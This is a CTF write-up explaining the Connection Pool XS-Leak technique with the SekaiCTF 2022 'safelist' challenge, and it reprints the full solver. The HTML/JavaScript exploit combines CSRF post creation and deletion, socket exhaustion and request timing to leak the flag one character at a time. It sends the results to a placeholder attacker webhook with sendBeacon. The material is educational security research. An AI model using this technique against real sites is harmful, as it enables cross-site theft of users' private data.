# Connection Pool Example

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In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic\_) **** gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.

In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:

* The **bot** will **visit** a **URL** given by the attacker
* The attacker can **inject HTML** in the page (but no JS, dompurify is used) abusing a **CSRF** making the **bot create a post** with that HTML.
* The attacker can abuse a CSRF to make the **bot** **delete** the **first** **post** inside the web.
* Because the **posts** are ordered **alphabetically**, when the **first post is deleted**, if the **HTML** content of the attacker is **loaded** means that it was **alphabetically before the flag**.

Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for each char to test** make the bot:

* Create a **new post** that **starts** with the known part of the **flag** and several **img** **loads**.
* **Delete** the **post** in position **0**.
* Block 255 sockets.
* Load the page with the posts
* Perform 5 random requests to a site (example.com in this case) and measure the time this takes.

{% hint style="warning" %}
If the **deleted** post was the **flag**, this means that all the **images** **injected** in the HTML are going to be **fighting** with the **5 random requests** for that **unblocked** socket. Which means that the time measured is going to be bigger than the other scenario.

If the **deleted** post was the **HTML**, the **5 random requests** will be **faster** because they don't need to fight for that socket with the HTML injected.
{% endhint %}

This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):

```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
    <input type="text" name="text" />
    <input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
    <input type="text" name="index" value="0" />
    <input type="submit" />
</form>

<script>
    // Attacker listening
    const WEBHOOK = "https://WEBHOOK.com/";
    // Send data to attacker
    const log = (id, data) => {
        let payload = JSON.stringify({ known, alphabet, data });
        console.log(id, payload);
        navigator.sendBeacon(WEBHOOK + "?" + id, payload); 
    }
    
    // Similar to JQuery
    const $ = document.querySelector.bind(document);
    
    // Known part of the flag
    const known = "SEKAI{";
    let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
    
    // Reduce the alphabet using a hash (#) in the URL
    if (location.hash) {
        alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
    }
    
    // Funtion to leak chars
    const leak = async (c) => {
        // Prepare post with known flag and the new char
        let payload = `${known + c}`;
        // Inject as many <img as possible
        // you need to respect the CSP and create URLs that are different
        for(let i = 0; payload.length < 2048; i++) {
            payload += `<img src=js/purify.js?${i.toString(36)}>`;
        }
        
        // Inject HTML
        $("#create input[type=text]").value = payload;
        $("#create").submit();
        await new Promise(r => setTimeout(r, 1000));
        
        // Remove post with index 0
        $("#remove").submit();
        await new Promise(r => setTimeout(r, 500));
        
        let deltas = [];
        
        // Try each char 3 times
        for (let i = 0; i < 3; i++) {
            const SOCKET_LIMIT = 255;
            // you will need a custom server that works like num.sleepserver.com/sleep/delay
            // needed to freeze the blocked sockets, and they have to all be on different origins
            // Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
            const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`; 

            const block = async (i, controller) => {
                try {
                    return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
                }
                catch(err) {}
            };

            // block SOCKET_LIMIT sockets
            const controller = new AbortController();
            for (let i = 0; i < SOCKET_LIMIT; i++) {
                block(i, controller);
            }
            
            // Make the bot access the page with the posts
            window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
            await new Promise(r => setTimeout(r, 500));
            
            // start meassuring time to perform 5 requests
            let start = performance.now();
            await Promise.all([
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" }),
                fetch("https://example.com", { mode: "no-cors" })
            ]);
            let delta = performance.now() - start;
            document.title = delta;
            controller.abort();

            log("test_" + c + "_" + i, delta);
            
            // Save time needed
            deltas.push(delta);
        }
        return deltas;
    };
    
    // Check each char
    const pwn = async () => {
        // Try to leak each character
        for(let i = 0; i < alphabet.length; i++) {
            //Check the indicated char
            let deltas = await leak(alphabet[i]);
            
            // Calculate mean time from requests to example.com
            let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
            
            // If greater than 250, the HTML code was injected (flag in index 0)
            if (avg > 250) {
                log("tests_pos_" + alphabet[i], deltas)
            }
            // Flag in the page
            else {
                log("tests_neg_" + alphabet[i], deltas)
            }
        }
    };

    window.onload = async () => {
        pwn();
    };
</script>
```

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